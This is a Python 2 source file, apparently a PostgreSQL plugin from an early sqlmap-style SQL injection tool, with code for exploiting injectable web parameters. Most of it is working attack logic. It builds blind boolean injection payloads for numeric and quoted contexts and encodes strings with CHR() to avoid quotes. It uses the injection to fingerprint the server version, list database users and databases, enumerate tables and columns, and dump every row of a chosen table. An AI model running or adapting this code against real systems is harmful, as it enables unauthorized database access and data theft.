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#!/usr/bin/env python
import random
import re
import time
from plugins.attack.db.dbDriver import dbDriver as Common
class PostgreSQLMap(Common):
__banner = ""
__currentDb = ""
__fingerprint = []
__cachedDbs = []
__cachedTables = {}
__cachedColumns = {}
def unescape(self, expression):
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise Exception, "Unenclosed ' in '%s'" % expression
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
unescaped = "("
for i in range(firstIndex, lastIndex):
unescaped += "CHR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "||"
unescaped += ")"
expression = expression.replace(old, unescaped)
return expression
def createStm(self):
if self.args.injectionMethod == "numeric":
evilStm = " OR ASCII(SUBSTR((%s), %d, %d)) > %d"
elif self.args.injectionMethod == "stringsingle":
evilStm = "' OR ASCII(SUBSTR((%s), %d, %d)) > %d AND '1"
elif self.args.injectionMethod == "stringdouble":
evilStm = '" OR ASCII(SUBSTR((%s), %d, %d)) > %d AND "1'
return evilStm
def createExactStm(self):
if self.args.injectionMethod == "numeric":
evilStm = " OR SUBSTR((%s), %d, %d) = '%s' AND 1=1"
elif self.args.injectionMethod == "stringsingle":
evilStm = "' OR SUBSTR((%s), %d, %d) = '%s' AND '1"
elif self.args.injectionMethod == "stringdouble":
evilStm = '" OR SUBSTR((%s), %d, %d) = "%s" AND "1'
return evilStm
def getFingerprint(self):
if not self.args.exaustiveFp:
return "PostgreSQL"
actVer = self.parseFp("PostgreSQL", self.__fingerprint)
value = "active fingerprint: %s" % actVer
if self.__banner:
banVer = re.search("^PostgreSQL ([\d\.]+)", self.__banner)
banVer = banVer.groups()[0]
banVer = self.parseFp("PostgreSQL", [banVer])
blank = " " * 16
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
return value
def getBanner(self):
logMsg = "fetching banner"
self.log(logMsg)
if not self.__banner:
self.__banner = self.getValue("VERSION()")
return self.__banner
def getCurrentUser(self):
logMsg = "fetching current user"
self.log(logMsg)
return self.getValue("CURRENT_USER")
def getCurrentDb(self):
logMsg = "fetching current database"
self.log(logMsg)
if self.__currentDb:
return self.__currentDb
else:
return self.getValue("CURRENT_DATABASE()")
def getUsers(self):
logMsg = "fetching number of database users"
self.log(logMsg)
stm = "SELECT COUNT(DISTINCT(usename)) FROM pg_user"
count = self.getValue(stm)
if not len(count) or count == "0":
errMsg = "unable to retrieve the number of database users"
raise Exception, errMsg
logMsg = "fetching database users"
self.log(logMsg)
users = []
for index in range(int(count)):
stm = "SELECT DISTINCT(usename) "
stm += "FROM pg_user OFFSET %d LIMIT 1" % index
user = self.getValue(stm)
users.append(user)
if not users:
raise Exception, "unable to retrieve the database users"
return users
def getDbs(self):
logMsg = "fetching number of databases"
self.log(logMsg)
stm = "SELECT COUNT(DISTINCT(datname)) FROM pg_database"
count = self.getValue(stm)
if not len(count) or count == "0":
errMsg = "unable to retrieve the number of databases"
raise Exception, errMsg
logMsg = "fetching database names"
self.log(logMsg)
dbs = []
for index in range(int(count)):
stm = "SELECT DISTINCT(datname) "
stm += "FROM pg_database OFFSET %d LIMIT 1" % index
db = self.getValue(stm)
dbs.append(db)
if dbs:
self.__cachedDbs = dbs
else:
errMsg = "unable to retrieve the database names"
raise Exception, errMsg
return dbs
def getTables(self):
if self.args.db and self.args.db != "public":
self.args.db = "public"
warnMsg = "PostgreSQL module can only enumerate "
warnMsg += "tables from current database, also "
warnMsg += "known as '%s'" % self.args.db
self.warn(warnMsg)
else:
self.args.db = "public"
logMsg = "fetching number of tables for database '%s'" % self.args.db
self.log(logMsg)
stm = "SELECT COUNT(DISTINCT(tablename)) FROM pg_tables "
stm += "WHERE schemaname = '%s'" % self.args.db
count = self.getValue(stm)
if not len(count) or count == "0":
errMsg = "unable to retrieve the number of "
errMsg += "tables for database '%s'" % self.args.db
raise Exception, errMsg
logMsg = "fetching tables for database '%s'" % self.args.db
self.log(logMsg)
dbTables = {}
tables = []
for index in range(int(count)):
stm = "SELECT DISTINCT(tablename) FROM pg_tables "
stm += "WHERE schemaname = '%s' " % self.args.db
stm += "OFFSET %d LIMIT 1" % index
table = self.getValue(stm)
tables.append(table)
if tables:
dbTables[self.args.db] = tables
else:
errMsg = "unable to retrieve the tables "
errMsg += "for database '%s'" % self.args.db
raise Exception, errMsg
self.__cachedTables = dbTables
return dbTables
def getColumns(self):
if not self.args.tbl:
errMsg = "missing table parameter"
raise Exception, errMsg
if "." in self.args.tbl:
self.args.db, self.args.tbl = self.args.tbl.split(".")
if self.args.db and self.args.db != "public":
self.args.db = "public"
warnMsg = "PostgreSQL module can only enumerate "
warnMsg += "columns from tables on current database, "
warnMsg += "also known as '%s'" % self.args.db
self.warn(warnMsg)
else:
self.args.db = "public"
logMsg = "fetching number of columns for table "
logMsg += "'%s' on current database" % self.args.tbl
self.log(logMsg)
stm = "SELECT COUNT(DISTINCT(attname)) "
stm += "FROM pg_attribute JOIN pg_class ON "
stm += "pg_class.oid = pg_attribute.attrelid "
stm += "WHERE relname = '%s' " % self.args.tbl
stm += "AND attnum > 0"
count = self.getValue(stm)
if not len(count) or count == "0":
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % self.args.tbl
errMsg += "on current database"
raise Exception, errMsg
logMsg = "fetching columns for table '%s' " % self.args.tbl
logMsg += "current database"
self.log(logMsg)
tableColumns = {}
table = {}
columns = {}
for index in range(int(count)):
stm = "SELECT DISTINCT(attname) "
stm += "FROM pg_attribute JOIN pg_class ON "
stm += "pg_class.oid = pg_attribute.attrelid "
stm += "WHERE relname = '%s' " % self.args.tbl
stm += "AND attnum > 0 OFFSET %d LIMIT 1" % index
column = self.getValue(stm)
stm = "SELECT atttypid "
stm += "FROM pg_attribute JOIN pg_class ON "
stm += "pg_class.oid = pg_attribute.attrelid "
stm += "WHERE relname = '%s' " % self.args.tbl
stm += "AND attname = '%s'" % column
coltype = self.getValue(stm)
columns[column] = coltype
if columns:
table[self.args.tbl] = columns
tableColumns[self.args.db] = table
else:
errMsg = "unable to retrieve the columns for "
errMsg += "table '%s' " % self.args.tbl
errMsg += "on current database"
raise Exception, errMsg
self.__cachedColumns[self.args.db] = table
return tableColumns
def dumpTable(self):
if not self.args.tbl:
raise Exception, "missing table parameter"
if self.args.db and self.args.db != "public":
self.args.db = "public"
warnMsg = "PostgreSQL module can only dump "
warnMsg += "tables on current database, "
warnMsg += "also known as '%s'" % self.args.db
self.warn(warnMsg)
if not self.__cachedColumns:
self.__cachedColumns = self.getColumns()
logMsg = "fetching number of entries for table "
logMsg += "'%s' on current database" % self.args.tbl
self.log(logMsg)
fromExpr = "%s.%s" % (self.args.db, self.args.tbl)
columnValues = {}
stm = "SELECT COUNT(*) FROM %s" % fromExpr
count = self.getValue(stm)
if not len(count) or count == "0":
errMsg = "unable to retrieve the number of entries "
errMsg += "for table '%s' " % self.args.tbl
errMsg += "on current database"
raise Exception, errMsg
if self.args.col:
self.args.col = self.args.col.split(',')
columns = self.__cachedColumns[self.args.db][self.args.tbl]
for column in columns.keys():
if self.args.col and column not in self.args.col:
continue
logMsg = "fetching entries of column '%s' for " % column
logMsg += "table '%s' on current database" % self.args.tbl
self.log(logMsg)
length = 0
values = []
columnData = {}
columnValues[column] = {}
for index in range(int(count)):
stm = "SELECT %s FROM %s " % (column, fromExpr)
stm += "OFFSET %d LIMIT 1" % index
value = self.getValue(stm)
length = max(length, len(str(value)))
values.append(value)
if length < len(column):
columnData["length"] = len(column)
else:
columnData["length"] = length
columnData["values"] = values
columnValues[column] = columnData
if columnValues:
infos = {}
if self.args.db:
infos["db"] = self.args.db
else:
infos["db"] = None
infos["table"] = self.args.tbl
infos["count"] = count
columnValues["__infos__"] = infos
else:
errMsg = "unable to retrieve the entries for "
errMsg += "table '%s'" % self.args.tbl
if self.args.db:
errMsg += " on database '%s'" % self.args.db
raise Exception, errMsg
return columnValues
def getFile(self, filename):
errMsg = "PostgreSQL module does not support file reading"
raise Exception, errMsg
def getExpr(self, expression):
if self.args.unionUse:
return self.unionUse(expression)
else:
return self.getValue(expression)
def checkDbms(self):
logMsg = "testing PostgreSQL"
self.log(logMsg)
randInt = str(random.randint(1, 9))
stm = "COALESCE(%s, NULL)" % randInt
if self.getValue(stm) == randInt:
logMsg = "confirming PostgreSQL"
self.log(logMsg)
stm = "LENGTH('%s')" % randInt
if not self.getValue(stm) == "1":
warnMsg = "remote database is not PostgreSQL"
self.warn(warnMsg)
return False
if not self.args.exaustiveFp:
return True
if self.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") == "2":
self.__fingerprint = [">= 8.2.0"]
elif self.getValue("GREATEST(5, 9, 1)") == "9":
self.__fingerprint = [">= 8.1.0", "< 8.2.0"]
elif self.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3":
self.__fingerprint = [">= 8.0.0", "< 8.1.0"]
elif self.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"):
self.__fingerprint = [">= 7.4.0", "< 8.0.0"]
elif self.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p":
self.__fingerprint = [">= 7.3.0", "< 7.4.0"]
elif self.getValue("BIT_LENGTH(1)") == "8":
self.__fingerprint = [">= 7.2.0", "< 7.3.0"]
elif self.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a":
self.__fingerprint = [">= 7.1.0", "< 7.2.0"]
elif self.getValue("POW(2, 3)") == "8":
self.__fingerprint = [">= 7.0.0", "< 7.1.0"]
elif self.getValue("MAX('a')") == "a":
self.__fingerprint = [">= 6.5.0", "< 6.5.3"]
elif re.search("([\d\.]+)", self.getValue("SUBSTR(VERSION(), 12, 5)")):
self.__fingerprint = [">= 6.4.0", "< 6.5.0"]
elif self.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2":
self.__fingerprint = [">= 6.3.0", "< 6.4.0"]
elif self.getValue("SUBSTRING('sqlmap', 1, 1)") == "s":
self.__fingerprint = [">= 6.2.0", "< 6.3.0"]
else:
self.__fingerprint = ["< 6.2.0"]
if self.args.getBanner:
self.__banner = self.getValue("VERSION()")
return True
else:
warnMsg = "remote database is not PostgreSQL"
self.warn(warnMsg)
return False
def __init__(self, urlOpener, cmpFunction, vuln):
Common.__init__( self, urlOpener, cmpFunction, vuln )
|
